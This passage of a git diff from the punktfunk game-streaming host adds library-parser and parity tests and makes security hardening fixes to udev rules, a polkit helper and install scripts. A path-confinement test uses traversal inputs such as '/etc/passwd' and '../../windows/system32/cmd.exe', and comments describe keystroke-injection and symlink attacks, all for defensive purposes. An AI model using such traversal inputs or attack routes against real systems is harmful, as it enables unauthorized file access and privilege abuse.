portrait: "file:///home/u/.steam/appcache/librarycache/440/a/p.jpg", + hero: "https://cdn.cloudflare.steamstatic.com/steam/apps/440/library_hero.jpg", + header: "https://cdn.cloudflare.steamstatic.com/steam/apps/440/header.jpg", + }, + platform: "PC", + ...over, + }) as ProviderEntry; + +describe("id mapping", () => { + test("a claimed entry's id is the scanner's id", () => { + // The whole migration rests on this one line: Moonlight pins, GameStream app ids and client + // art caches are all derived from it. + expect(claimedLibraryId("steam", "440")).toBe("steam:440"); + expect(claimedLibraryId("heroic", "legendary:Quail")).toBe( + "heroic:legendary:Quail", + ); + }); +}); + +describe("diffParity", () => { + const base = [fromHostEntry(hostEntry())]; + + test("a faithful port passes, even though the art VALUES all changed", () => { + const r = diffParity(base, [fromProviderEntry("steam", pluginEntry())]); + expect(r.ok).toBe(true); + expect(r.matched).toBe(1); + expect(r.changed).toEqual([]); + expect(formatParityReport(r)).toContain("parity OK"); + }); + + test("a lost title is reported as missing", () => { + const r = diffParity(base, []); + expect(r.ok).toBe(false); + expect(r.missing.map((e) => e.id)).toEqual(["steam:440"]); + expect(formatParityReport(r)).toContain("missing: steam:440"); + }); + + test("a wrong id shows up as BOTH missing and extra — the loudest failure", () => { + // The exact shape of the bug this harness exists to catch: the plugin found the title, but + // under an id nothing downstream recognizes. + const r = diffParity(base, [ + fromProviderEntry("steam", pluginEntry({ external_id: "440.0" })), + ]); + expect(r.ok).toBe(false); + expect(r.missing.map((e) => e.id)).toEqual(["steam:440"]); + expect(r.extra.map((e) => e.id)).toEqual(["steam:440.0"]); + }); + + test("a changed launch recipe is caught", () => { + const r = diffParity(base, [ + fromProviderEntry( + "steam", + pluginEntry({ launch: { kind: "command", value: "steam" } }), + ), + ]); + expect(r.ok).toBe(false); + expect(r.changed).toEqual([ + { + id: "steam:440", + field: "launch", + before: "steam_appid:440", + after: "command:steam", + }, + ]); + }); + + test("a dropped launch recipe is caught (an unlaunchable tile)", () => { + const r = diffParity(base, [ + fromProviderEntry("steam", pluginEntry({ launch: null })), + ]); + expect(r.changed.map((c) => c.field)).toEqual(["launch"]); + }); + + test("LOSING an art kind fails; gaining one does not", () => { + const lost = diffParity(base, [ + fromProviderEntry("steam", pluginEntry({ art: { portrait: null } })), + ]); + expect(lost.ok).toBe(false); + expect(lost.changed.map((c) => c.field)).toContain("art.portrait"); + + // The baseline had no logo; the plugin resolves one. That is an improvement, and failing the + // run over it would only train people to ignore the harness. + const gained = diffParity(base, [ + fromProviderEntry( + "steam", + pluginEntry({ + art: { ...pluginEntry().art, logo: "file:///l.png" }, + }), + ), + ]); + expect(gained.ok).toBe(true); + }); + + test("metadata drift is caught, but absent-vs-empty is not drift", () => { + const changed = diffParity(base, [ + fromProviderEntry("steam", pluginEntry({ platform: "Linux" })), + ]); + expect(changed.changed).toEqual([ + { id: "steam:440", field: "meta.platform", before: "PC", after: "Linux" }, + ]); + // The host omits empty lists and nulls; a plugin sending them has changed nothing. + const noise = diffParity(base, [ + fromProviderEntry( + "steam", + pluginEntry({ genres: [], tags: [], region: null } as never), + ), + ]); + expect(noise.ok).toBe(true); + }); + + test("launcher entries are expected extras, not failures", () => { + // The built-in scanner had no concept of a launcher entry, so it can never be in the + // baseline — reporting it as `extra` would fail every steam run forever. + const r = diffParity(base, [ + fromProviderEntry("steam", pluginEntry()), + fromProviderEntry( + "steam", + pluginEntry({ + external_id: "ui:bigpicture", + title: "Steam Big Picture", + role: "launcher", + launch: { kind: "steam_ui", value: "bigpicture" }, + art: {}, + } as never), + ), + ]); + expect(r.ok).toBe(true); + expect(r.extra).toEqual([]); + expect(r.launchersAdded.map((e) => e.id)).toEqual(["steam:ui:bigpicture"]); + expect(formatParityReport(r)).toContain("+1 launcher entry"); + }); + + test("an ordinary title the scanner never had IS a failure", () => { + // The mirror of the case above: only `role: "launcher"` gets the exemption, so a plugin that + // invents games (a bad filter, a tool listed as a game) still fails. + const r = diffParity(base, [ + fromProviderEntry("steam", pluginEntry()), + fromProviderEntry( + "steam", + pluginEntry({ external_id: "228980", title: "Steamworks Common" }), + ), + ]); + expect(r.ok).toBe(false); + expect(r.extra.map((e) => e.id)).toEqual(["steam:228980"]); + }); +}); diff --git a/plugin-kit/test/library-parsers.test.ts b/plugin-kit/test/library-parsers.test.ts new file mode 100644 index 00000000..8c038cd3 --- /dev/null +++ b/plugin-kit/test/library-parsers.test.ts @@ -0,0 +1,289 @@ +// The parser ports, tested against the SAME cases the host's Rust scanners pin. +// +// These are not "does TypeScript work" tests. The formats here are undocumented and the host's +// versions are the reference implementation; a port that drifts produces a library that looks fine +// and launches nothing. Where a Rust test exists, its assertions are carried over verbatim — the +// per-plugin parity harness (design M5) then checks the whole pipeline against a live host, but +// these catch a drift long before that. +import { describe, expect, test } from "bun:test"; +import * as fs from "node:fs"; +import * as os from "node:os"; +import * as path from "node:path"; +import { + confinedJoin, + crc32, + findGridArtFile, + findLocalArtFile, + fileUrl, + gridFilenames, + isSteamTool, + parseAppManifest, + parseRegQuery, + parseShortcuts, + readTextCapped, + shortcutAppId, + shortcutGameId, + steamCdnUrl, + vdfPaths, + vdfValue, +} from "../src/library/parsers/index.js"; + +const tmp = (name: string): string => { + const dir = path.join(os.tmpdir(), `pf-kit-${name}-${process.pid}`); + fs.mkdirSync(dir, { recursive: true }); + return dir; +}; + +describe("text VDF / ACF", () => { + test("vdfValue extracts a quoted field", () => { + expect(vdfValue('"path"\t\t"/mnt/games/SteamLibrary"', "path")).toBe( + "/mnt/games/SteamLibrary", + ); + expect(vdfValue('"appid"\t\t"570"', "appid")).toBe("570"); + expect(vdfValue('"name"\t\t"Dota 2"', "name")).toBe("Dota 2"); + // Wrong key → nothing (a prefix match must not leak the neighbouring field). + expect(vdfValue('"installdir"\t\t"x"', "appid")).toBeUndefined(); + }); + + test("vdfPaths pulls every library folder and unescapes Windows separators", () => { + const vdf = ` +"libraryfolders" +{ + "0" + { + "path" "/home/u/.local/share/Steam" + "label" "" + } + "1" + { + "path" "D:\\\\SteamLibrary" + } +}`; + expect(vdfPaths(vdf)).toEqual([ + "/home/u/.local/share/Steam", + "D:\\SteamLibrary", + ]); + }); + + test("parseAppManifest reads the flat fields it needs", () => { + const acf = `"AppState" +{ + "appid" "570" + "name" "Dota 2" + "installdir" "dota 2 beta" +}`; + expect(parseAppManifest(acf)).toEqual({ + appid: 570, + name: "Dota 2", + installdir: "dota 2 beta", + }); + // A manifest missing the essentials is not a title. + expect(parseAppManifest('"AppState" { "name" "x" }')).toBeUndefined(); + }); + + test("isSteamTool keeps runtimes out of a game library", () => { + expect(isSteamTool(228980, "Steamworks Common Redistributables")).toBe(true); + expect(isSteamTool(1628350, "Steam Linux Runtime 3.0 (sniper)")).toBe(true); + expect(isSteamTool(999, "Proton 9.0")).toBe(true); + expect(isSteamTool(999, "SteamVR")).toBe(true); + expect(isSteamTool(570, "Dota 2")).toBe(false); + }); +}); + +describe("binary shortcuts.vdf", () => { + /** Build a binary shortcuts.vdf the way Steam writes one. */ + const buildShortcuts = ( + entries: ReadonlyArray<{ + appid?: number; + appname: string; + exe: string; + hidden?: boolean; + }>, + ): Uint8Array => { + const parts: number[] = []; + const cstr = (s: string) => { + for (const b of new TextEncoder().encode(s)) parts.push(b); + parts.push(0); + }; + const i32 = (v: number) => { + parts.push(v & 0xff, (v >>> 8) & 0xff, (v >>> 16) & 0xff, (v >>> 24) & 0xff); + }; + parts.push(0x00); + cstr("shortcuts"); + entries.forEach((e, i) => { + parts.push(0x00); + cstr(String(i)); + if (e.appid !== undefined) { + parts.push(0x02); + cstr("appid"); + i32(e.appid); + } + parts.push(0x01); + cstr("AppName"); + cstr(e.appname); + parts.push(0x01); + cstr("Exe"); + cstr(e.exe); + parts.push(0x02); + cstr("IsHidden"); + i32(e.hidden ? 1 : 0); + // A nested map the parser must skip wholesale. + parts.push(0x00); + cstr("tags"); + parts.push(0x01); + cstr("0"); + cstr("favourite"); + parts.push(0x08); + parts.push(0x08); // end of this shortcut + }); + parts.push(0x08); // end of shortcuts + parts.push(0x08); // end of document + return new Uint8Array(parts); + }; + + test("parses entries, skips nested maps, and reads the hidden flag", () => { + const buf = buildShortcuts([ + { appid: 2456789012, appname: "My Emulator", exe: '"/usr/bin/foo"' }, + { appid: 3000000000, appname: "Hidden One", exe: '"/x"', hidden: true }, + ]); + const got = parseShortcuts(buf); + expect(got).toHaveLength(2); + expect(got[0]).toMatchObject({ + appid: 2456789012, + name: "My Emulator", + hidden: false, + }); + expect(got[1]).toMatchObject({ name: "Hidden One", hidden: true }); + }); + + test("derives the appid when the file omits it", () => { + const buf = buildShortcuts([{ appname: "No Appid", exe: '"/usr/bin/x"' }]); + const got = parseShortcuts(buf); + expect(got).toHaveLength(1); + // Derived ids always carry the high bit — that is how a shortcut is told apart from a real + // store appid downstream (and why its CDN art fetch is skipped). + expect(got[0].appid & 0x8000_0000).not.toBe(0); + expect(got[0].appid).toBe(shortcutAppId('"/usr/bin/x"', "No Appid")); + }); + + test("is total on a truncated or garbled file", () => { + expect(parseShortcuts(new Uint8Array([]))).toEqual([]); + expect(parseShortcuts(new Uint8Array([0x01, 0x02, 0x03]))).toEqual([]); + const good = buildShortcuts([{ appid: 1, appname: "A", exe: "/a" }]); + // Every truncation of a valid file must return, not throw. + for (let i = 0; i < good.length; i++) { + expect(() => parseShortcuts(good.subarray(0, i))).not.toThrow(); + } + }); + + test("crc32 matches the IEEE check value", () => { + // The canonical CRC-32 check: crc32("123456789") == 0xCBF43926. + expect(crc32(new TextEncoder().encode("123456789"))).toBe(0xcbf4_3926); + }); + + test("shortcutGameId composes the appid and the shortcut marker", () => { + // high dword = appid, low dword = 0x02000000. Handing rungameid the bare 32-bit appid does + // NOT launch a shortcut, which is the entire reason this function exists. + const id = BigInt(shortcutGameId(0x8000_0000)); + expect(id >> 32n).toBe(0x8000_0000n); + expect(id & 0xffff_ffffn).toBe(0x0200_0000n); + // Digits only — it rides the `steam_appid` launch kind, which the host validates as digits. + expect(shortcutGameId(2_456_789_012)).toMatch(/^\d+$/); + }); +}); + +describe("path confinement", () => { + test("confinedJoin refuses anything that could escape the install dir", () => { + const base = path.join(path.sep, "games", "W3"); + expect(confinedJoin(base, "bin/game.exe")).toBe( + path.join(base, "bin", "game.exe"), + ); + expect(confinedJoin(base, "bin\\game.exe")).toBe( + path.join(base, "bin", "game.exe"), + ); + // The three shapes a crafted goggame-*.info would use to point elsewhere. + expect(confinedJoin(base, "../../windows/system32/cmd.exe")).toBeUndefined(); + expect(confinedJoin(base, "/etc/passwd")).toBeUndefined(); + expect(confinedJoin(base, "C:\\Windows\\system32\\cmd.exe")).toBeUndefined(); + expect(confinedJoin(base, "")).toBeUndefined(); + }); +}); + +describe("capped reads", () => { + test("readTextCapped refuses an over-cap file and a missing one", () => { + const dir = tmp("caps"); + const small = path.join(dir, "small.txt"); + fs.writeFileSync(small, "hello"); + expect(readTextCapped(small)).toBe("hello"); + expect(readTextCapped(small, 2)).toBeUndefined(); // over the cap + expect(readTextCapped(path.join(dir, "nope.txt"))).toBeUndefined(); + expect(readTextCapped(dir)).toBeUndefined(); // a directory is not a file + fs.rmSync(dir, { recursive: true, force: true }); + }); +}); + +describe("art locations", () => { + test("steamCdnUrl skips shortcut appids, which have no CDN entry", () => { + expect(steamCdnUrl(570, "header")).toContain("/570/header.jpg"); + expect(steamCdnUrl(570, "portrait")).toContain("library_600x900.jpg"); + // The local cache names the header asset differently from the CDN — pinned because it is + // the single most common way to get Steam art wrong. + expect(steamCdnUrl(570, "header")).not.toContain("library_header"); + expect(steamCdnUrl(0x8000_0001, "header")).toBeUndefined(); + }); + + test("grid filenames follow Steam's per-kind naming", () => { + expect(gridFilenames(570, "portrait")).toEqual(["570p.png", "570p.jpg"]); + expect(gridFilenames(570, "hero")).toEqual(["570_hero.png", "570_hero.jpg"]); + expect(gridFilenames(570, "logo")).toEqual(["570_logo.png", "570_logo.jpg"]); + expect(gridFilenames(570, "header")).toEqual(["570.png", "570.jpg"]); + }); + + test("finds cached and user-override art on disk", () => { + const dir = tmp("art"); + const hashDir = path.join(dir, "appcache", "librarycache", "570", "abc123"); + fs.mkdirSync(hashDir, { recursive: true }); + fs.writeFileSync(path.join(hashDir, "library_600x900.jpg"), "x"); + expect(findLocalArtFile(dir, 570, "portrait")).toBe( + path.join(hashDir, "library_600x900.jpg"), + ); + expect(findLocalArtFile(dir, 570, "hero")).toBeUndefined(); + + const cfg = path.join(dir, "userdata", "1", "config"); + fs.mkdirSync(path.join(cfg, "grid"), { recursive: true }); + fs.writeFileSync(path.join(cfg, "grid", "570p.jpg"), "x"); + expect(findGridArtFile(cfg, 570, "portrait")).toBe( + path.join(cfg, "grid", "570p.jpg"), + ); + fs.rmSync(dir, { recursive: true, force: true }); + }); + + test("fileUrl produces the host's local-art contract shape", () => { + const u = fileUrl(path.join(path.sep, "home", "u", "My Games", "c.jpg")); + expect(u.startsWith("file:///")).toBe(true); + // Spaces are percent-encoded; the separators survive so the host can rebuild the path. + expect(u).toContain("My%20Games"); + expect(u).toContain("/c.jpg"); + }); +}); + +describe("reg.exe output", () => { + test("parses value rows and leaves the key header alone", () => { + const stdout = [ + "", + "HKEY_LOCAL_MACHINE\\SOFTWARE\\WOW6432Node\\Valve\\Steam", + " InstallPath REG_SZ C:\\Program Files (x86)\\Steam", + " Language REG_SZ english", + "", + ].join("\r\n"); + expect(parseRegQuery(stdout)).toEqual([ + { + name: "InstallPath", + type: "REG_SZ", + // Data may contain spaces — only the first two columns are split off. + data: "C:\\Program Files (x86)\\Steam", + }, + { name: "Language", type: "REG_SZ", data: "english" }, + ]); + }); +}); diff --git a/plugin-kit/tsconfig.json b/plugin-kit/tsconfig.json index d7ae4c75..9187fe82 100644 --- a/plugin-kit/tsconfig.json +++ b/plugin-kit/tsconfig.json @@ -10,5 +10,8 @@ "noEmit": true, "types": ["bun"] }, - "include": ["src", "test"] + // `examples` is type-checked but never built: tsconfig.build.json narrows to `src`, and + // package.json ships only `dist` + README. A worked example that doesn't compile is worse than + // no example, and these are what the first-party scanner repos are cut from. + "include": ["src", "test", "examples"] } diff --git a/scripts/60-punktfunk.rules b/scripts/60-punktfunk.rules index 1c1c6357..de9a8595 100644 --- a/scripts/60-punktfunk.rules +++ b/scripts/60-punktfunk.rules @@ -14,9 +14,19 @@ KERNEL=="uhid", SUBSYSTEM=="misc", OPTIONS+="static_node=uhid", GROUP="input", M # usbip vhci attach/detach for the virtual Steam Deck controller. Steam Input only # adopts the virtual Deck when it arrives as a USB device (usbip/vhci or raw_gadget); # the UHID fallback has no USB interface and Steam ignores it. The sysfs attach files -# are root-only by default while the host runs as a user service — grant the `input` -# group write when vhci_hcd appears (module autoload: modules-load.d/punktfunk.conf). -ACTION=="add", SUBSYSTEM=="platform", KERNEL=="vhci_hcd.*", RUN+="/bin/sh -c 'chgrp input /sys%p/attach /sys%p/detach && chmod 0660 /sys%p/attach /sys%p/detach'" +# are root-only by default while the host runs as a user service — grant the dedicated +# `punktfunk` group write when vhci_hcd appears (module autoload: modules-load.d/punktfunk.conf). +# +# ⚠ This is deliberately NOT the `input` group (2026-08-05 review M-4). Writing `attach` hands the +# kernel a caller-supplied socket fd and materialises an arbitrary, fully userspace-emulated USB +# device — a root-only kernel primitive. Every packaging scriptlet tells the user to +# `usermod -aG input $USER` as step 1, so putting it on `input` handed that primitive to a group +# people are routinely told to join: a member could present a HID keyboard and inject keystrokes +# into a root TTY or the lock screen, or drive any of hundreds of in-tree USB drivers from +# userspace, all without CAP_SYS_ADMIN. The uinput/uhid grants above are already systemwide input +# injection, but neither reaches kernel USB enumeration — this one does, so it gets its own group +# that nothing else asks users to join. +ACTION=="add", SUBSYSTEM=="platform", KERNEL=="vhci_hcd.*", RUN+="/bin/sh -c 'chgrp punktfunk /sys%p/attach /sys%p/detach && chmod 0660 /sys%p/attach /sys%p/detach'" # hidraw access for the VIRTUAL pads this host creates. Steam/SDL drive a DualSense's rich # feedback (adaptive triggers, lightbar, player LEDs) exclusively over hidraw — the kernel has no diff --git a/scripts/headless/run-headless-kde.sh b/scripts/headless/run-headless-kde.sh index 07df33c5..0bf9879c 100755 --- a/scripts/headless/run-headless-kde.sh +++ b/scripts/headless/run-headless-kde.sh @@ -52,7 +52,19 @@ fi # it `kwin_wayland --virtual` brings up NO X server at all (no display reserved), and those apps die # with "Missing X Server or $DISPLAY". KWin starts Xwayland on demand but reserves + logs the X11 # display up front, which the detection below reads. -KWIN_LOG="${TMPDIR:-/tmp}/punktfunk-kwin.log" +# The log lives in the per-user 0700 XDG_RUNTIME_DIR, not at a fixed name in a world-writable +# /tmp. This file is not just a log: the DISPLAY detection below GREPS it for "Using public X11 +# display :N" and exports the result, so at a predictable path in a shared directory any local user +# could pre-create it (or symlink it) and steer the DISPLAY of a shipped systemd service +# (2026-08-05 review L-15). `pf-vdisplay` already resolves XDG_RUNTIME_DIR for its own paths; this +# matches. Without a runtime dir, fall back to a private mktemp rather than a guessable name. +if [[ -n "${XDG_RUNTIME_DIR:-}" && -d "${XDG_RUNTIME_DIR}" ]]; then + KWIN_LOG="${XDG_RUNTIME_DIR}/punktfunk-kwin.log" + : >"$KWIN_LOG" + chmod 600 "$KWIN_LOG" +else + KWIN_LOG="$(mktemp -t punktfunk-kwin.XXXXXXXX.log)" +fi kwin_wayland --virtual --xwayland --width "$W" --height "$H" --no-lockscreen \ --socket "$WAYLAND_DISPLAY" >"$KWIN_LOG" 2>&1 & KWIN_PID=$! diff --git a/scripts/io.unom.punktfunk.dm-helper.policy b/scripts/io.unom.punktfunk.dm-helper.policy index a63598c3..529ad907 100644 --- a/scripts/io.unom.punktfunk.dm-helper.policy +++ b/scripts/io.unom.punktfunk.dm-helper.policy @@ -11,7 +11,14 @@ grant is scoped to the box's own local-seat session lifecycle — the same class of operation these distros already authorize for their session switcher (e.g. Nobara's os-session-select, allow_any). allow_any because the host commonly runs sessionless (a - lingering user unit, no polkit agent), where interactive auth can never be answered. --> + lingering user unit, no polkit agent), where interactive auth can never be answered. + + ⚠ These defaults authorize every local subject — including a seatless ssh session or a + service account — so they are NOT the whole authorization story (2026-08-05 review L-14). + They cannot be tightened without breaking the lingering-user-unit deployment, which polkit + classifies under allow_any precisely because it has no session. The actual gate is in the + helper: pf-dm-helper refuses any caller whose PKEXEC_UID is not in the `punktfunk` group. + Keep the two in step — loosening the helper's check makes these defaults load-bearing. --> Stop or restore the display manager for a Punktfunk stream Authentication is required to switch the display manager for a Punktfunk stream diff --git a/scripts/pf-dm-helper b/scripts/pf-dm-helper index fa002095..f389e46c 100644 --- a/scripts/pf-dm-helper +++ b/scripts/pf-dm-helper @@ -13,6 +13,38 @@ # local-seat operation, not arbitrary unit management. set -eu +# The polkit action has to stay permissive (`allow_any=yes`): the host commonly runs as a LINGERING +# user unit, which has no logind session at all, so polkit classifies it under `allow_any` and any +# stricter default would make the takeover unauthorizable in its primary deployment. The cost of +# that is that polkit alone authorizes *every* local subject — a seatless ssh session, a service +# account — to run this as root (2026-08-05 review L-14). +# +# So the authorization decision is made HERE instead, where the caller is knowable: pkexec sets +# PKEXEC_UID from the authenticated caller, and only a member of the `punktfunk` group (created by +# the packages) may proceed. That keeps the sessionless host working while making membership of one +# explicit group — not merely "has a local uid" — the thing that grants these verbs. +require_authorized_caller() { + uid=${PKEXEC_UID:-} + [ -n "$uid" ] || { + echo "pf-dm-helper: no PKEXEC_UID in the environment — refusing to run unauthenticated" >&2 + exit 1 + } + user=$(getent passwd "$uid" | cut -d: -f1) || user= + [ -n "$user" ] || { + echo "pf-dm-helper: PKEXEC_UID $uid resolves to no local user — refusing" >&2 + exit 1 + } + # `id -nG` lists the primary group too, so a user whose primary group IS punktfunk also passes. + for g in $(id -nG "$user" 2>/dev/null); do + [ "$g" = punktfunk ] && return 0 + done + echo "pf-dm-helper: user '$user' is not in the 'punktfunk' group — refusing." >&2 + echo " Grant it with: sudo usermod -aG punktfunk $user (then re-login)" >&2 + exit 1 +} + +require_authorized_caller + dm_unit() { target=$(readlink /etc/systemd/system/display-manager.service) || { echo "pf-dm-helper: no display-manager.service alias — no display manager to manage" >&2 @@ -40,13 +72,9 @@ case "${1-}" in # what breaks that dependency (the setup docs already ask for it). # # The user is NEVER caller-named: PKEXEC_UID is set by pkexec from the authenticated caller, - # so this grant enables lingering for that caller alone. - uid=${PKEXEC_UID:-} - [ -n "$uid" ] || { - echo "pf-dm-helper: no PKEXEC_UID in the environment — refusing to guess a user" >&2 - exit 1 - } - exec loginctl enable-linger "$uid" + # so this grant enables lingering for that caller alone. (Its presence is already checked by + # `require_authorized_caller` above, which also proved the caller is in the punktfunk group.) + exec loginctl enable-linger "${PKEXEC_UID}" ;; *) echo "usage: pf-dm-helper stop|restore|linger" >&2 diff --git a/scripts/punktfunk-scripting.service b/scripts/punktfunk-scripting.service index c6bb2dfb..f6886035 100644 --- a/scripts/punktfunk-scripting.service +++ b/scripts/punktfunk-scripting.service @@ -6,9 +6,16 @@ # SIGTERM interrupts the whole tree STRUCTURALLY, so every plugin's scoped finalizers run before # exit (clean deregister / preset release) — hence the generous stop timeout below. # -# OPT-IN — unlike punktfunk-web, the package does NOT auto-enable this: the runner does nothing until -# you add scripts or install plugins. Turn it on once you have automation to run: -# systemctl --user enable --now punktfunk-scripting +# ON BY DEFAULT — the packages enable this for every user (`systemctl --global enable` from the +# .deb/.rpm scriptlets; a baked-in default.target.wants symlink in the sysext image). It used to be +# opt-in, on the reasoning that the runner does nothing until you add scripts or plugins. That +# stopped being true when the game-library scanners became plugins: the library is a flagship +# surface, and a host whose runner is off now comes up with an empty library and no obvious reason +# why (design/library-scanner-plugins.md D9). +# +# It remains opt-OUT, per user: +# systemctl --user mask punktfunk-scripting +# (`mask`, not `disable` — a plain disable cannot remove a symlink that lives in /etc or /usr.) # # Auto-wired like the console: a plugin's connect() reads the host's SCOPED plugin token + identity # cert from ~/.config/punktfunk/{plugin-token,cert.pem} (written by the host's `serve`) — no env diff --git a/scripts/steamdeck/install.sh b/scripts/steamdeck/install.sh index 0af0f61a..622d972c 100755 --- a/scripts/steamdeck/install.sh +++ b/scripts/steamdeck/install.sh @@ -185,6 +185,11 @@ ok "plugin runner: ~/.local/bin/punktfunk-scripting" # --- 3. config ------------------------------------------------------------- log "Configuration ($CONFIG)" mkdir -p "$CONFIG" +# Owner-only: this directory holds web.env (console password + session secret), the mgmt token and +# the host key. A plain `mkdir -p` leaves it 0755 at the Deck's default umask, so the secrets below +# sat in a world-TRAVERSABLE directory (2026-08-05 review L-19). Matches what the host itself does +# via `pf_paths::create_private_dir`, and is idempotent on an existing dir. +chmod 700 "$CONFIG" 2>/dev/null || true if [ ! -f "$CONFIG/host.env" ]; then cat > "$CONFIG/host.env" <<'EOF' # punktfunk Steam Deck host config (sourced by the punktfunk-host user service). @@ -235,10 +240,16 @@ if [ "$WITH_WEB" = 1 ] && [ ! -f "$CONFIG/web.env" ]; then # `|| true` swallows the SIGPIPE `tr` takes when `head` closes the pipe (pipefail would abort). WEB_PW="$(LC_ALL=C tr -dc 'a-z0-9' /dev/null | head -c 12 || true)" WEB_SECRET="$(LC_ALL=C tr -dc 'A-Za-z0-9' /dev/null | head -c 32 || true)" - cat > "$CONFIG/web.env" < "$CONFIG/web.env" < "$PWFILE") chmod 600 "$PWFILE" 2>/dev/null || true - echo "punktfunk web console login password generated: $PW" - echo "(stored in $PWFILE — open https://:47992 and log in)" + # Do NOT echo the password itself. Anything this script prints is captured by systemd into + # the PERSISTENT journal, which on Debian/Ubuntu is readable by the `adm` and + # `systemd-journal` groups — so printing it published a 0600 secret to every member of them, + # permanently, and the .deb postinst then documented `journalctl` as the way to read it + # (2026-08-05 review L-18). Point at the file instead: it is the same one command, it is + # correctly 0600, and it stays readable only by the user who owns the console. + echo "punktfunk web console login password generated." + echo "Read it with: cut -d= -f2- $PWFILE" + echo "(then open https://:47992 and log in)" fi diff --git a/sdk/bun.lock b/sdk/bun.lock index d52dca02..b89d5dce 100644 --- a/sdk/bun.lock +++ b/sdk/bun.lock @@ -20,6 +20,9 @@ }, }, }, + "overrides": { + "undici": "^8.9.0", + }, "packages": { "@effect/openapi-generator": ["@effect/openapi-generator@4.0.0-beta.98", "", { "dependencies": { "swagger2openapi": "^7.0.8" }, "peerDependencies": { "@effect/platform-node": "^4.0.0-beta.98", "effect": "^4.0.0-beta.98" }, "bin": { "openapigen": "dist/bin.js" } }, "sha512-7bqawr/HqJWqQ8H/bHyzBlLPA3LIIm3Y+cGYlIxnC/QVK795QpiEXb7uxTnP7V7w49V0sBtTerv4/9ZjsMffLQ=="], @@ -169,7 +172,7 @@ "typescript": ["typescript@5.9.3", "", { "bin": { "tsc": "bin/tsc", "tsserver": "bin/tsserver" } }, "sha512-jl1vZzPDinLr9eUt3J/t7V6FgNEw9QjvBPdysz9KfQDD41fQrC2Y4vKQdiaUpFT4bXlb1RHhLpp8wtm6M5TgSw=="], - "undici": ["undici@7.28.0", "", {}, "sha512-cRZYrTDwWznlnRiPjggAGxZXanty6M8RV1ff8Wm4LWXBp7/IG8v5DnOm74DtUBp9OONpK75YlPnIjQqX0dBDtA=="], + "undici": ["undici@8.10.0", "", {}, "sha512-HvltHd7avK13QIw/oLe4qoOLyoVSoafqJ2jYOrtMRBkbYT31eiBQ8O0ehRKZiEZCMEyLFQNIADpgCWC5fALvYQ=="], "undici-types": ["undici-types@8.3.0", "", {}, "sha512-j375ScV60dom+YkPFIfTLcOiPxkN/buHz5GobjLhixFuANaNs3C9l4GmrWqejgXWJ7BbJcFYpTEUkS1Ge8bpZQ=="], @@ -191,8 +194,6 @@ "yargs-parser": ["yargs-parser@21.1.1", "", {}, "sha512-tVpsJW7DdjecAiFpbIB1e3qxIQsE6NoPc5/eTdrbbIC4h0LVsWhnoa3g+m2HclBIujHzsxZ4VJVA+GUuc2/LBw=="], - "@effect/platform-node/undici": ["undici@8.7.0", "", {}, "sha512-N7iQtfyLhIMOFgQubvmLV26svHpO0bqKnAiWotTQCVKCmWrcGbBotPuW1x+xwYZ2VHdSTVUfPQQnlEt1/LouTQ=="], - "oas-linter/yaml": ["yaml@1.10.3", "", {}, "sha512-vIYeF1u3CjlhAFekPPAk2h/Kv4T3mAkMox5OymRiJQB0spDP10LHvt+K7G9Ny6NuuMAb25/6n1qyUjAcGNf/AA=="], "oas-resolver/yaml": ["yaml@1.10.3", "", {}, "sha512-vIYeF1u3CjlhAFekPPAk2h/Kv4T3mAkMox5OymRiJQB0spDP10LHvt+K7G9Ny6NuuMAb25/6n1qyUjAcGNf/AA=="], diff --git a/sdk/bun.nix b/sdk/bun.nix index f7908c96..66ba891c 100644 --- a/sdk/bun.nix +++ b/sdk/bun.nix @@ -313,13 +313,9 @@ url = "https://registry.npmjs.org/undici-types/-/undici-types-8.3.0.tgz"; hash = "sha512-j375ScV60dom+YkPFIfTLcOiPxkN/buHz5GobjLhixFuANaNs3C9l4GmrWqejgXWJ7BbJcFYpTEUkS1Ge8bpZQ=="; }; - "undici@7.28.0" = fetchurl { - url = "https://registry.npmjs.org/undici/-/undici-7.28.0.tgz"; - hash = "sha512-cRZYrTDwWznlnRiPjggAGxZXanty6M8RV1ff8Wm4LWXBp7/IG8v5DnOm74DtUBp9OONpK75YlPnIjQqX0dBDtA=="; - }; - "undici@8.7.0" = fetchurl { - url = "https://registry.npmjs.org/undici/-/undici-8.7.0.tgz"; - hash = "sha512-N7iQtfyLhIMOFgQubvmLV26svHpO0bqKnAiWotTQCVKCmWrcGbBotPuW1x+xwYZ2VHdSTVUfPQQnlEt1/LouTQ=="; + "undici@8.10.0" = fetchurl { + url = "https://registry.npmjs.org/undici/-/undici-8.10.0.tgz"; + hash = "sha512-HvltHd7avK13QIw/oLe4qoOLyoVSoafqJ2jYOrtMRBkbYT31eiBQ8O0ehRKZiEZCMEyLFQNIADpgCWC5fALvYQ=="; }; "uuid@14.0.1" = fetchurl { url = "https://registry.npmjs.org/uuid/-/uuid-14.0.1.tgz"; diff --git a/sdk/package.json b/sdk/package.json index 6c953c43..0a30d853 100644 --- a/sdk/package.json +++ b/sdk/package.json @@ -55,5 +55,8 @@ }, "optionalDependencies": { "undici": "^7.0.0" + }, + "overrides": { + "undici": "^8.9.0" } } diff --git a/sdk/src/gen/punktfunk.ts b/sdk/src/gen/punktfunk.ts index f2f65bbd..fd3c90c0 100644 --- a/sdk/src/gen/punktfunk.ts +++ b/sdk/src/gen/punktfunk.ts @@ -33,8 +33,8 @@ export type AvailableCompositor = { readonly "available": boolean, readonly "def export const AvailableCompositor = Schema.Struct({ "available": Schema.Boolean.annotate({ "description": "Usable on this host right now: the live session's own compositor, or gamescope wherever\nits binary is installed." }), "default": Schema.Boolean.annotate({ "description": "True for the backend an `Auto` (unspecified) request resolves to right now." }), "id": Schema.String.annotate({ "description": "Stable identifier (`\"kwin\"` | `\"wlroots\"` | `\"mutter\"` | `\"gamescope\"`) — pass this to a\nclient's `--compositor` flag." }), "label": Schema.String.annotate({ "description": "Human-readable label for UIs." }) }).annotate({ "description": "A compositor backend the host can drive a virtual output on, and whether it's usable now." }) export type CaptureMeta = { readonly "client": string, readonly "codec": string, readonly "duration_ms": number, readonly "encoder_backend"?: string, readonly "fps": number, readonly "gpu"?: string, readonly "height": number, readonly "id": string, readonly "kind": string, readonly "sample_count": number, readonly "started_unix_ms": number, readonly "width": number } export const CaptureMeta = Schema.Struct({ "client": Schema.String.annotate({ "description": "Short label / fingerprint prefix, or `\"\"` if unknown." }), "codec": Schema.String.annotate({ "description": "`\"h264\" | \"hevc\" | \"av1\"`." }), "duration_ms": Schema.Number.annotate({ "format": "int64" }).check(Schema.isInt()).check(Schema.isGreaterThanOrEqualTo(0)), "encoder_backend": 